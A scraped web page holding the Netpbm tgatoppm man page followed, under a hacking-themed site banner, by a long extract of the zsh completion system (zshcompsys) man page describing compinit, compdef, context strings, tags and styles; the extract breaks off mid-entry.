convert TrueVision Targa file to a PPM image

SYNOPSIS

tgatoppm [–alphaout={alpha-filename,-}] [–headerdump] tga-filename

DESCRIPTION

This program is part of Netpbm(1) .

tgatoppm reads a TrueVision Targa file as input and produces a PPM image as output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), tgatoppm recognizes the following command line options:

All options can be abbreviated to their shortest unique prefix.

**–alphaout=**alpha-filename
tgatoppm creates a PGM image containing the transparency channel values in the input image. If the input image doesn’t contain a transparency channel, the alpha-filename file contains all zero (transparent) transparency values. If you don’t specify –alphaout, tgatoppm does not generate an alpha file, and if the input image has a transparency channel, tgatoppm simply discards it.

If you specify - as the filename, tgatoppm writes the transparency output to Standard Output and discards the image.

See pamcomp(1) for one way to use the transparency output file.

–headerdump
Causes tgatoppm to dump information from the TGA header to Standard Error.

SEE ALSO

ppmtotga(1) , pamcomp(1) , ppm(1)

AUTHOR

Partially based on tga2rast, version 1.0, by Ian J. MacPhedran.

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/tgatoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

982 - Linux cli command zshcompsys

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshcompsys and provides detailed information about the command zshcompsys, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshcompsys.

NAME 🖥️ zshcompsys 🖥️

zsh completion system

DESCRIPTION

This describes the shell code for the `new’ completion system, referred to as compsys. It is written in shell functions based on the features described in zshcompwid(1).

The features are contextual, sensitive to the point at which completion is started. Many completions are already provided. For this reason, a user can perform a great many tasks without knowing any details beyond how to initialize the system, which is described below in INITIALIZATION.

The context that decides what completion is to be performed may be

· an argument or option position: these describe the position on the command line at which completion is requested. For example `first argument to rmdir, the word being completed names a directory';

·
a special context, denoting an element in the shell’s syntax. For example `a word in command position’ or `an array subscript'.

A full context specification contains other elements, as we shall describe.

Besides commands names and contexts, the system employs two more concepts, styles and tags. These provide ways for the user to configure the system’s behaviour.

Tags play a dual role. They serve as a classification system for the matches, typically indicating a class of object that the user may need to distinguish. For example, when completing arguments of the ls command the user may prefer to try files before directories, so both of these are tags. They also appear as the rightmost element in a context specification.

Styles modify various operations of the completion system, such as output formatting, but also what kinds of completers are used (and in what order), or which tags are examined. Styles may accept arguments and are manipulated using the zstyle command described in zshmodules(1).

In summary, tags describe what the completion objects are, and style how they are to be completed. At various points of execution, the completion system checks what styles and/or tags are defined for the current context, and uses that to modify its behavior. The full description of context handling, which determines how tags and other elements of the context influence the behaviour of styles, is described below in COMPLETION SYSTEM CONFIGURATION.

When a completion is requested, a dispatcher function is called; see the description of _main_complete in the list of control functions below. This dispatcher decides which function should be called to produce the completions, and calls it. The result is passed to one or more completers, functions that implement individual completion strategies: simple completion, error correction, completion with error correction, menu selection, etc.

More generally, the shell functions contained in the completion system are of two types:

· those beginning `comp’ are to be called directly; there are only a few of these;

·
those beginning `_’ are called by the completion code. The shell functions of this set, which implement completion behaviour and may be bound to keystrokes, are referred to as `widgets’. These proliferate as new completions are required.

INITIALIZATION

If the system was installed completely, it should be enough to call the shell function compinit from your initialization file; see the next section. However, the function compinstall can be run by a user to configure various aspects of the completion system.

Usually, compinstall will insert code into .zshrc, although if that is not writable it will save it in another file and tell you that file’s location. Note that it is up to you to make sure that the lines added to .zshrc are actually run; you may, for example, need to move them to an earlier place in the file if .zshrc usually returns early. So long as you keep them all together (including the comment lines at the start and finish), you can rerun compinstall and it will correctly locate and modify these lines. Note, however, that any code you add to this section by hand is likely to be lost if you rerun compinstall, although lines using the command `zstyle’ should be gracefully handled.

The new code will take effect next time you start the shell, or run .zshrc by hand; there is also an option to make them take effect immediately. However, if compinstall has removed definitions, you will need to restart the shell to see the changes.

To run compinstall you will need to make sure it is in a directory mentioned in your fpath parameter, which should already be the case if zsh was properly configured as long as your startup files do not remove the appropriate directories from fpath. Then it must be autoloaded (`autoload -U compinstall’ is recommended). You can abort the installation any time you are being prompted for information, and your .zshrc will not be altered at all; changes only take place right at the end, where you are specifically asked for confirmation.

Use of compinit

This section describes the use of compinit to initialize completion for the current session when called directly; if you have run compinstall it will be called automatically from your .zshrc.

To initialize the system, the function compinit should be in a directory mentioned in the fpath parameter, and should be autoloaded (`autoload -U compinit’ is recommended), and then run simply as `compinit’. This will define a few utility functions, arrange for all the necessary shell functions to be autoloaded, and will then re-define all widgets that do completion to use the new system. If you use the menu-select widget, which is part of the zsh/complist module, you should make sure that that module is loaded before the call to compinit so that that widget is also re-defined. If completion styles (see below) are set up to perform expansion as well as completion by default, and the TAB key is bound to expand-or-complete, compinit will rebind it to complete-word; this is necessary to use the correct form of expansion.

Should you need to use the original completion commands, you can still bind keys to the old widgets by putting a `.’ in front of the widget name, e.g. `.expand-or-complete'.

To speed up the running of compinit, it can be made to produce a dumped configuration that will be read in on future invocations; this is the default, but can be turned off by calling compinit with the option -D. The dumped file is .zcompdump in the same directory as the startup files (i.e. $ZDOTDIR or $HOME); alternatively, an explicit file name can be given by `compinit -d dumpfile’. The next invocation of compinit will read the dumped file instead of performing a full initialization.

If the number of completion files changes, compinit will recognise this and produce a new dump file. However, if the name of a function or the arguments in the first line of a #compdef function (as described below) change, it is easiest to delete the dump file by hand so that compinit will re-create it the next time it is run. The check performed to see if there are new functions can be omitted by giving the option -C. In this case the dump file will only be created if there isn’t one already.

The dumping is actually done by another function, compdump, but you will only need to run this yourself if you change the configuration (e.g. using compdef) and then want to dump the new one. The name of the old dumped file will be remembered for this purpose.

If the parameter _compdir is set, compinit uses it as a directory where completion functions can be found; this is only necessary if they are not already in the function search path.

For security reasons compinit also checks if the completion system would use files not owned by root or by the current user, or files in directories that are world- or group-writable or that are not owned by root or by the current user. If such files or directories are found, compinit will ask if the completion system should really be used. To avoid these tests and make all files found be used without asking, use the option -u, and to make compinit silently ignore all insecure files and directories use the option -i. This security check is skipped entirely when the -C option is given, provided the dumpfile exists.

The security check can be retried at any time by running the function compaudit. This is the same check used by compinit, but when it is executed directly any changes to fpath are made local to the function so they do not persist. The directories to be checked may be passed as arguments; if none are given, compaudit uses fpath and _compdir to find completion system directories, adding missing ones to fpath as necessary. To force a check of exactly the directories currently named in fpath, set _compdir to an empty string before calling compaudit or compinit.

The function bashcompinit provides compatibility with bash’s programmable completion system. When run it will define the functions, compgen and complete which correspond to the bash builtins with the same names. It will then be possible to use completion specifications and functions written for bash.

Autoloaded files

The convention for autoloaded functions used in completion is that they start with an underscore; as already mentioned, the fpath/FPATH parameter must contain the directory in which they are stored. If zsh was properly installed on your system, then fpath/FPATH automatically contains the required directories for the standard functions.

For incomplete installations, if compinit does not find enough files beginning with an underscore (fewer than twenty) in the search path, it will try to find more by adding the directory _compdir to the search path. If that directory has a subdirectory named Base, all subdirectories will be added to the path. Furthermore, if the subdirectory Base has a subdirectory named Core, compinit will add all subdirectories of the subdirectories to the path: this allows the functions to be in the same format as in the zsh source distribution.

When compinit is run, it searches all such files accessible via fpath/FPATH and reads the first line of each of them. This line should contain one of the tags described below. Files whose first line does not start with one of these tags are not considered to be part of the completion system and will not be treated specially.

The tags are:

#compdef name … [ -{p|P} pattern … [ -N name … ] ] The file will be made autoloadable and the function defined in it will be called when completing names, each of which is either the name of a command whose arguments are to be completed or one of a number of special contexts in the form -context- described below.

Each name may also be of the form `cmd**=**service’. When completing the command cmd, the function typically behaves as if the command (or special context) service was being completed instead. This provides a way of altering the behaviour of functions that can perform many different completions. It is implemented by setting the parameter $service when calling the function; the function may choose to interpret this how it wishes, and simpler functions will probably ignore it.

If the #compdef line contains one of the options -p or -P, the words following are taken to be patterns. The function will be called when completion is attempted for a command or context that matches one of the patterns. The options -p and -P are used to specify patterns to be tried before or after other completions respectively. Hence -P may be used to specify default actions.

The option -N is used after a list following -p or -P; it specifies that remaining words no longer define patterns. It is possible to toggle between the three options as many times as necessary.

#compdef -k style key-sequence
This option creates a widget behaving like the builtin widget style and binds it to the given key-sequences, if any. The style must be one of the builtin widgets that perform completion, namely complete-word, delete-char-or-list, expand-or-complete, expand-or-complete-prefix, list-choices, menu-complete, menu-expand-or-complete, or reverse-menu-complete. If the zsh/complist module is loaded (see zshmodules(1)) the widget menu-select is also available.

When one of the key-sequences is typed, the function in the file will be invoked to generate the matches. Note that a key will not be re-bound if it already was (that is, was bound to something other than undefined-key). The widget created has the same name as the file and can be bound to any other keys using bindkey as usual.

#compdef -K widget-name style key-sequence [ name style seq … ]
This is similar to -k except that only one key-sequence argument may be given for each widget-name style pair. However, the entire set of three arguments may be repeated with a different set of arguments. Note in particular that the widget-name must be distinct in each set. If it does not begin with `_’ this will be added. The widget-name should not clash with the name of any existing widget: names based on the name of the function are most useful. For example,

#compdef -K _foo_complete complete-word “^X^C” \ _foo_list list-choices “^X^D”

(all on one line) defines a widget _foo_complete for completion, bound to `^X^C’, and a widget _foo_list for listing, bound to `^X^D'.

#autoload [ options ]
Functions with the #autoload tag are marked for autoloading but are not otherwise treated specially. Typically they are to be called from within one of the completion functions. Any options supplied will be passed to the autoload builtin; a typical use is +X to force the function to be loaded immediately. Note that the -U and -z flags are always added implicitly.

The # is part of the tag name and no white space is allowed after it. The #compdef tags use the compdef function described below; the main difference is that the name of the function is supplied implicitly.

The special contexts for which completion functions can be defined are:

-array-value- The right hand side of an array-assignment (`name**=()**')

-assign-parameter-
The name of a parameter in an assignment, i.e. on the left hand side of an `='

-brace-parameter-
The name of a parameter expansion within braces (`${}')

-command-
A word in command position

-condition-
A word inside a condition (`[[]]')

-default-
Any word for which no other completion is defined

-equal-
A word beginning with an equals sign

-first-
This is tried before any other completion function. The function called may set the _compskip parameter to one of various values: all: no further completion is attempted; a string containing the substring patterns: no pattern completion functions will be called; a string containing default: the function for the `-default-’ context will not be called, but functions defined for commands will be.

-math-
Inside mathematical contexts, such as `(())'

-parameter-
The name of a parameter expansion (`$')

-redirect-
The word after a redirection operator.

-subscript-
The contents of a parameter subscript.

-tilde-
After an initial tilde (`~’), but before the first slash in the word.

-value-
On the right hand side of an assignment.

Default implementations are supplied for each of these contexts. In most cases the context -context- is implemented by a corresponding function _context, for example the context `-tilde-’ and the function `_tilde’).

The contexts -redirect- and -value- allow extra context-specific information. (Internally, this is handled by the functions for each context calling the function _dispatch.) The extra information is added separated by commas.

For the -redirect- context, the extra information is in the form `**-redirect-,op,**command’, where op is the redirection operator and command is the name of the command on the line. If there is no command on the line yet, the command field will be empty.

For the -value- context, the form is `**-value-,name,command’, where name is the name of the parameter on the left hand side of the assignment. In the case of elements of an associative array, for example `assoc=(key <TAB>’, name is expanded to `name-**key’. In certain special contexts, such as completing after `make CFLAGS=’, the command part gives the name of the command, here make; otherwise it is empty.

It is not necessary to define fully specific completions as the functions provided will try to generate completions by progressively replacing the elements with `-default-’. For example, when completing after `foo=<TAB>’, _value will try the names `-value-,foo,’ (note the empty command part), `-value-,foo,-default-’ and`-value-,-default-,-default-’, in that order, until it finds a function to handle the context.

As an example:

compdef ‘_files -g “*.log”’ ‘-redirect-,2>,-default-’

completes files matching `*.log’ after `2> <TAB>’ for any command with no more specific handler defined.

Also:

compdef _foo -value-,-default-,-default-

specifies that _foo provides completions for the values of parameters for which no special function has been defined. This is usually handled by the function _value itself.

The same lookup rules are used when looking up styles (as described below); for example

zstyle ‘:completion:::-redirect-,2>,:’ file-patterns ‘*.log’

is another way to make completion after `2> <TAB>’ complete files matching `*.log’.

Functions

The following function is defined by compinit and may be called directly.

compdef [ -ane ] function name … [ -{p|P} pattern … [ -N name …]]

compdef -d name

compdef -k [ -an ] function style key-sequence [ key-sequence … ]

compdef -K [ -an ] function name style key-seq [ name style seq … ] The first form defines the function to call for completion in the given contexts as described for the #compdef tag above.

Alternatively, all the arguments may have the form `cmd**=service’. Here service should already have been defined by `cmd1=**service’ lines in #compdef files, as described above. The argument for cmd will be completed in the same way as service.

The function argument may alternatively be a string containing almost any shell code. If the string contains an equal sign, the above will take precedence. The option -e may be used to specify the first argument is to be evaluated as shell code even if it contains an equal sign. The string will be executed using the eval builtin command to generate completions. This provides a way of avoiding having to define a new completion function. For example, to complete files ending in `.h’ as arguments to the command foo:

compdef ‘_files -g “*.h”’ foo

The option -n prevents any completions already defined for the command or context from being overwritten.

The option -d deletes any completion defined for the command or contexts listed.

The names may also contain -p, -P and -N options as described for the #compdef tag. The effect on the argument list is identical, switching between definitions of patterns tried initially, patterns tried finally, and normal commands and contexts.

The parameter $_compskip may be set by any function defined for a pattern context. If it is set to a value containing the substring `patterns’ none of the pattern-functions will be called; if it is set to a value containing the substring `all’, no other function will be called. Setting $_compskip in this manner is of particular utility when using the -p option, as otherwise the dispatcher will move on to additional functions (likely the default one) after calling the pattern-context one, which can mangle the display of completion possibilities if not handled properly.

The form with -k defines a widget with the same name as the function that will be called for each of the key-sequences; this is like the #compdef -k tag. The function should generate the completions needed and will otherwise behave like the builtin widget whose name is given as the style argument. The widgets usable for this are: complete-word, delete-char-or-list, expand-or-complete, expand-or-complete-prefix, list-choices, menu-complete, menu-expand-or-complete, and reverse-menu-complete, as well as menu-select if the zsh/complist module is loaded. The option -n prevents the key being bound if it is already to bound to something other than undefined-key.

The form with -K is similar and defines multiple widgets based on the same function, each of which requires the set of three arguments name, style and key-sequence, where the latter two are as for -k and the first must be a unique widget name beginning with an underscore.

Wherever applicable, the -a option makes the function autoloadable, equivalent to autoload -U function.

The function compdef can be used to associate existing completion functions with new commands. For example,

compdef _pids foo

uses the function _pids to complete process IDs for the command foo.

Note also the _gnu_generic function described below, which can be used to complete options for commands that understand the `–help’ option.

COMPLETION SYSTEM CONFIGURATION

This section gives a short overview of how the completion system works, and then more detail on how users can configure how and when matches are generated.

Overview

When completion is attempted somewhere on the command line the completion system begins building the context. The context represents everything that the shell knows about the meaning of the command line and the significance of the cursor position. This takes account of a number of things including the command word (such as `grep’ or `zsh’) and options to which the current word may be an argument (such as the `-o’ option to zsh which takes a shell option as an argument).

The context starts out very generic (“we are beginning a completion”) and becomes more specific as more is learned (“the current word is in a position that is usually a command name” or “the current word might be a variable name” and so on). Therefore the context will vary during the same call to the completion system.

This context information is condensed into a string consisting of multiple fields separated by colons, referred to simply as `the context’ in the remainder of the documentation. Note that a user of the completion system rarely needs to compose a context string, unless for example a new function is being written to perform completion for a new command. What a user may need to do is compose a style pattern, which is matched against a context when needed to look up context-sensitive options that configure the completion system.

The next few paragraphs explain how a context is composed within the completion function suite. Following that is discussion of how styles are defined. Styles determine such things as how the matches are generated, similarly to shell options but with much more control. They are defined with the zstyle builtin command (see zshmodules(1)).

The context string always consists of a fixed set of fields, separated by colons and with a leading colon before the first. Fields which are not yet known are left empty, but the surrounding colons appear anyway. The fields are always in the order **:completion:function:completer:command:argument:**tag. These have the following meaning:

· The literal string completion, saying that this style is used by the completion system. This distinguishes the context from those used by, for example, zle widgets and ZFTP functions.

·
The function, if completion is called from a named widget rather than through the normal completion system. Typically this is blank, but it is set by special widgets such as predict-on and the various functions in the Widget directory of the distribution to the name of that function, often in an abbreviated form.

·
The completer currently active, the name of the function without the leading underscore and with other underscores converted to hyphens. A `completer’ is in overall control of how completion is to be performed; `complete’ is the simplest, but other completers exist to perform related tasks such as correction, or to modify the behaviour of a later completer. See the section `Control Functions’ below for more information.

·
The command or a special -context-, just at it appears following the #compdef tag or the compdef function. Completion functions for commands that have sub-commands usually modify this field to contain the name of the command followed by a minus sign and the sub-command. For example, the completion function for the cvs command sets this field to cvs-add when completing arguments to the add subcommand.

·
The argument; this indicates which command line or option argument we are completing. For command arguments this generally takes the form **argument-**n, where n is the number of the argument, and for arguments to options the form **option-opt-**n where n is the number of the argument to option opt. However, this is only the case if the command line is parsed with standard UNIX-style options and arguments, so many completions do not set this.

·
The tag. As described previously, tags are used to discriminate between the types of matches a completion function can generate in a certain context. Any completion function may use any tag name it likes, but a list of the more common ones is given below.

The context is gradually put together as the functions are executed, starting with the main entry point, which adds :completion: and the function element if necessary. The completer then adds the completer element. The contextual completion adds the command and argument options. Finally, the tag is added when the types of completion are known. For example, the context name

:completion::complete:dvips:option-o-1:files

says that normal completion was attempted as the first argument to the option -o of the command dvips:

dvips -o …

and the completion function will generate filenames.

Usually completion will be tried for all possible tags in an order given by the completion function. However, this can be altered by using the tag-order style. Completion is then restricted to the list of given tags in the given order.

The _complete_help bindable command shows all the contexts and tags available for completion at a particular point. This provides an easy way of finding information for tag-order and other styles. It is described in the section `Bindable Commands’ below.

When looking up styles the completion system uses full context names, including the tag. Looking up the value of a style therefore consists of two things: the context, which is matched to the most specific (best fitting) pattern, and the name of the style itself, which must be matched exactly. The following examples demonstrate that patterns may be loosely defined for styles that apply broadly, or as tightly defined as desired for styles that apply in narrower circumstances.

For example, many completion functions can generate matches in a simple and a verbose form and use the verbose style to decide which form should be used. To make all such functions use the verbose form, put

zstyle ‘:completion:*’ verbose yes

in a startup file (probably .zshrc). This gives the verbose style the value yes in every context inside the completion system, unless that context has a more specific definition. It is best to avoid giving the pattern as `*’ in case the style has some meaning outside the completion system.

Many such general purpose styles can be configured simply by using the compinstall function.

A more specific example of the use of the verbose style is by the completion for the kill builtin. If the style is set, the builtin lists full job texts and process command lines; otherwise it shows the bare job numbers and PIDs. To turn the style off for this use only:

zstyle ‘:completion:::kill::’ verbose no

For even more control, the style can use one of the tags `jobs’ or `processes’. To turn off verbose display only for jobs:

zstyle ‘:completion:::kill:*:jobs’ verbose no

The -e option to zstyle even allows completion function code to appear as the argument to a style; this requires some understanding of the internals of completion functions (see see zshcompwid**(1))). For example,**

zstyle -e ‘:completion:*’ hosts ‘reply=($myhosts)’

This forces the value of the hosts style to be read from the variable myhosts each time a host name is needed; this is useful if the value of myhosts can change dynamically. For another useful example, see the example in the description of the file-list style below. This form can be slow and should be avoided for commonly examined styles such as menu and list-rows-first.

Note that the order in which styles are defined does not matter; the style mechanism uses the most specific possible match for a particular style to determine the set of values. Strings are preferred over patterns (for example, `:completion::complete:::foo’ is more specific than `:completion::complete:::*’), and longer patterns are preferred over the pattern `*’. See zmodules**(1)** for details.

Context patterns that use something other than a wildcard (*) to match the middle parts of the context – the completer**,** command**, and** argument in :completion:function:completer:command:argument:tag – should include all six colons (:) explicitly. Without this, a pattern such as :completion:*:foo:* could match foo against a component other than the intended one (for example, against completer when a match against command was intended).

Style names like those of tags are arbitrary and depend on the completion function. However, the following two sections list some of the most common tags and styles.

Standard Tags

Some of the following are only used when looking up particular styles and do not refer to a type of match.

accounts used to look up the users-hosts style

all-expansions
used by the _expand completer when adding the single string containing all possible expansions

all-files
for the names of all files (as distinct from a particular subset, see the globbed-files tag).

arguments
for arguments to a command

arrays
for names of array parameters

association-keys
for keys of associative arrays; used when completing inside a subscript to a parameter of this type

bookmarks
when completing bookmarks (e.g. for URLs and the zftp function suite)

builtins
for names of builtin commands

characters
for single characters in arguments of commands such as stty. Also used when completing character classes after an opening bracket

colormapids
for X colormap ids

colors
for color names

commands
for names of external commands. Also used by complex commands such as cvs when completing names subcommands.

contexts
for contexts in arguments to the zstyle builtin command

corrections
used by the _approximate and _correct completers for possible corrections

cursors
for cursor names used by X programs

default
used in some contexts to provide a way of supplying a default when more specific tags are also valid. Note that this tag is used when only the function field of the context name is set

descriptions
used when looking up the value of the format style to generate descriptions for types of matches

devices
for names of device special files

directories
for names of directories – local-directories is used instead when completing arguments of cd and related builtin commands when the cdpath array is set

directory-stack
for entries in the directory stack

displays
for X display names

domains
for network domains

email-plugin
for email addresses from the `
_email-plugin’ backend of _email_addresses

expansions
used by the _expand completer for individual words (as opposed to the complete set of expansions) resulting from the expansion of a word on the command line

extensions
for X server extensions

file-descriptors
for numbers of open file descriptors

files
the generic file-matching tag used by functions completing filenames

fonts
for X font names

fstypes
for file system types (e.g. for the mount command)

functions
names of functions – normally shell functions, although certain commands may understand other kinds of function

globbed-files
for filenames when the name has been generated by pattern matching

groups
for names of user groups

history-words
for words from the history

hosts
for hostnames

indexes
for array indexes

interfaces
for network interfaces

jobs
for jobs (as listed by the `jobs’ builtin)

keymaps
for names of zsh keymaps

keysyms
for names of X keysyms

libraries
for names of system libraries

limits
for system limits

local-directories
for names of directories that are subdirectories of the current working directory when completing arguments of cd and related builtin commands (compare path-directories) – when the cdpath array is unset, directories is used instead

mailboxes
for e-mail folders

manuals
for names of manual pages

maps
for map names (e.g. NIS maps)

messages
used to look up the format style for messages

modifiers
for names of X modifiers

modules
for modules (e.g. zsh modules)

my-accounts
used to look up the users-hosts style

named-directories
for named directories (you wouldn’t have guessed that, would you?)

names
for all kinds of names

newsgroups
for USENET groups

nicknames
for nicknames of NIS maps

options
for command options

original
used by the _approximate, _correct and _expand completers when offering the original string as a match

other-accounts
used to look up the users-hosts style

packages
for packages (e.g. rpm or installed Debian packages)

parameters
for names of parameters

path-directories
for names of directories found by searching the cdpath array when completing arguments of cd and related builtin commands (compare local-directories)

paths
used to look up the values of the expand, ambiguous and special-dirs styles

pods
for perl pods (documentation files)

ports
for communication ports

prefixes
for prefixes (like those of a URL)

printers
for print queue names

processes
for process identifiers

processes-names
used to look up the command style when generating the names of processes for killall

sequences
for sequences (e.g. mh sequences)

sessions
for sessions in the zftp function suite

signals
for signal names

strings
for strings (e.g. the replacement strings for the cd builtin command)

styles
for styles used by the zstyle builtin command

suffixes
for filename extensions

tags
for tags (e.g. rpm tags)

targets
for makefile targets

time-zones
for time zones (e.g. when setting the TZ parameter)

types
for types of whatever (e.g. address types for the xhost command)

urls
used to look up the urls and local styles when completing URLs

users
for usernames

values
for one of a set of values in certain lists

variant
used by _pick_variant to look up the command to run when determining what program is installed for a particular command name.

visuals
for X visuals

warnings
used to look up the format style for warnings

widgets
for zsh widget names

windows
for IDs of X windows

zsh-options
for shell options

Standard Styles

Note that the values of several of these styles represent boolean values. Any of the strings `true’, `on’, `yes’, and `1’ can be used for the value `true’ and any of the strings `false’, `off’, `no’, and `0’ for the value `false’. The behavior for any other value is undefined except where explicitly mentioned. The default value may be either `true’ or `false’ if the style is not set.

Some of these styles are tested first for every possible tag corresponding to a type of match, and if no style was found, for the default tag. The most notable styles of this type are menu, list-colors and styles controlling completion listing such as list-packed and last-prompt. When tested for the default tag, only the function field of the context will be set so that a style using the default tag will normally be defined along the lines of:

zstyle ‘:completion:*:default’ menu …

accept-exact This is tested for the default tag in addition to the tags valid for the current context. If it is set to `true’ and any of the trial matches is the same as the string on the command line, this match will immediately be accepted (even if it would otherwise be considered ambiguous).

When completing pathnames (where the tag used is `paths’) this style accepts any number of patterns as the value in addition to the boolean values. Pathnames matching one of these patterns will be accepted immediately even if the command line contains some more partially typed pathname components and these match no file under the directory accepted.

This style is also used by the _expand completer to decide if words beginning with a tilde or parameter expansion should be expanded. For example, if there are parameters foo and foobar, the string `$foo’ will only be expanded if accept-exact is set to `true’; otherwise the completion system will be allowed to complete $foo to $foobar. If the style is set to `continue’, _expand will add the expansion as a match and the completion system will also be allowed to continue.

accept-exact-dirs
This is used by filename completion. Unlike accept-exact it is a boolean. By default, filename completion examines all components of a path to see if there are completions of that component, even if the component matches an existing directory. For example, when completion after /usr/bin/, the function examines possible completions to /usr.

When this style is `true’, any prefix of a path that matches an existing directory is accepted without any attempt to complete it further. Hence, in the given example, the path /usr/bin/ is accepted immediately and completion tried in that directory.

This style is also useful when completing after directories that magically appear when referenced, such as ZFS .zfs directories or NetApp .snapshot directories. When the style is set the shell does not check for the existence of the directory within the parent directory.

If you wish to inhibit this behaviour entirely, set the path-completion style (see below) to `false’.

add-space
This style is used by the _expand completer. If it is `true’ (the default), a space will be inserted after all words resulting from the expansion, or a slash in the case of directory names. If the value is `file’, the completer will only add a space to names of existing files. Either a boolean `true’ or the value `file’ may be combined with `subst’, in which case the completer will not add a space to words generated from the expansion of a substitution of the form `$()’ or `${}’.

The _prefix completer uses this style as a simple boolean value to decide if a space should be inserted before the suffix.

ambiguous
This applies when completing non-final components of filename paths, in other words those with a trailing slash. If it is set, the cursor is left after the first ambiguous component, even if menu completion is in use. The style is always tested with the paths tag.

assign-list
When completing after an equals sign that is being treated as an assignment, the completion system normally completes only one filename. In some cases the value may be a list of filenames separated by colons, as with PATH and similar parameters. This style can be set to a list of patterns matching the names of such parameters.

The default is to complete lists when the word on the line already contains a colon.

auto-description
If set, this style’s value will be used as the description for options that are not described by the completion functions, but that have exactly one argument. The sequence `%d’ in the value will be replaced by the description for this argument. Depending on personal preferences, it may be useful to set this style to something like `specify: %d’. Note that this may not work for some commands.

avoid-completer
This is used by the _all_matches completer to decide if the string consisting of all matches should be added to the list currently being generated. Its value is a list of names of completers. If any of these is the name of the completer that generated the matches in this completion, the string will not be added.

The default value for this style is `_expand _old_list _correct _approximate**’, i.e. it contains the completers for which a string** with all matches will almost never be wanted.

cache-path
This style defines the path where any cache files containing dumped completion data are stored. It defaults to `$ZDOTDIR/.zcompcache’, or `$HOME/.zcompcache’ if $ZDOTDIR is not defined. The completion cache will not be used unless the use-cache style is set.

cache-policy
This style defines the function that will be used to determine whether a cache needs rebuilding. See the section on the _cache_invalid function below.

call-command
This style is used in the function for commands such as make and ant where calling the command directly to generate matches suffers problems such as being slow or, as in the case of make can potentially cause actions in the makefile to be executed. If it is set to `true’ the command is called to generate matches. The default value of this style is `false’.

command
In many places, completion functions need to call external commands to generate the list of completions. This style can be used to override the command that is called in some such cases. The elements of the value are joined with spaces to form a command line to execute. The value can also start with a hyphen, in which case the usual command will be added to the end; this is most useful for putting `builtin’ or `command’ in front to make sure the appropriate version of a command is called, for example to avoid calling a shell function with the same name as an external command.

As an example, the completion function for process IDs uses this style with the processes tag to generate the IDs to complete and the list of processes to display (if the verbose style is `true’). The list produced by the command should look like the output of the ps command. The first line is not displayed, but is searched for the string `PID’ (or `pid’) to find the position of the process IDs in the following lines. If the line does not contain `PID’, the first numbers in each of the other lines are taken as the process IDs to complete.

Note that the completion function generally has to call the specified command for each attempt to generate the completion list. Hence care should be taken to specify only commands that take a short time to run, and in particular to avoid any that may never terminate.

command-path
This is a list of directories to search for commands to complete. The default for this style is the value of the special parameter path.

commands
This is used by the function completing sub-commands for the system initialisation scripts (residing in /etc/init.d or somewhere not too far away from that). Its values give the default commands to complete for those commands for which the completion function isn’t able to find them out automatically. The default for this style are the two strings `start’ and `stop’.

complete
This is used by the _expand_alias function when invoked as a bindable command. If set to `true’ and the word on the command line is not the name of an alias, matching alias names will be completed.

complete-options
This is used by the completer for cd, chdir and pushd. For these commands a - is used to introduce a directory stack entry and completion of these is far more common than completing options. Hence unless the value of this style is `true’ options will not be completed, even after an initial -. If it is `true’, options will be completed after an initial - unless there is a preceding – on the command line.

completer
The strings given as the value of this style provide the names of the completer functions to use. The available completer functions are described in the section `Control Functions’ below.

Each string may be either the name of a completer function or a string of the form `function**:name’. In the first case the** completer field of the context will contain the name of the completer without the leading underscore and with all other underscores replaced by hyphens. In the second case the function is the name of the completer to call, but the context will contain the user-defined name in the completer field of the context. If the name starts with a hyphen, the string for the context will be build from the name of the completer function as in the first case with the name appended to it. For example:

zstyle ‘:completion:*’ completer _complete _complete:-foo

Here, completion will call the _complete completer twice, once using `complete’ and once using `complete-foo’ in the completer field of the context. Normally, using the same completer more than once only makes sense when used with the `functions**:name’ form, because otherwise the context** name will be the same in all calls to the completer; possible exceptions to this rule are the _ignored and _prefix completers.

The default value for this style is `_complete _ignored’: only completion will be done, first using the ignored-patterns style and the $fignore array and then without ignoring matches.

condition
This style is used by the _list completer function to decide if insertion of matches should be delayed unconditionally. The default is `true’.

delimiters
This style is used when adding a delimiter for use with history modifiers or glob qualifiers that have delimited arguments. It is an array of preferred delimiters to add. Non-special characters are preferred as the completion system may otherwise become confused. The default list is :, +, /, -, %. The list may be empty to force a delimiter to be typed.

disabled
If this is set to `true’, the _expand_alias completer and bindable command will try to expand disabled aliases, too. The default is `false’.

domains
A list of names of network domains for completion. If this is not set, domain names will be taken from the file /etc/resolv.conf.

environ
The environ style is used when completing for `sudo’. It is set to an array of `VAR**=value’ assignments to be exported into the** local environment before the completion for the target command is invoked.

zstyle ':completion:*:sudo::' environ \ 
  PATH="/sbin:/usr/sbin:$PATH" HOME="/root"

expand
This style is used when completing strings consisting of multiple parts, such as path names.

If one of its values is the string `prefix’, the partially typed word from the line will be expanded as far as possible even if trailing parts cannot be completed.

If one of its values is the string `suffix’, matching names for components after the first ambiguous one will also be added. This means that the resulting string is the longest unambiguous string possible. However, menu completion can be used to cycle through all matches.

extra-verbose
If set, the completion listing is more verbose at the cost of a probable decrease in completion speed. Completion performance will suffer if this style is set to `true’.

fake
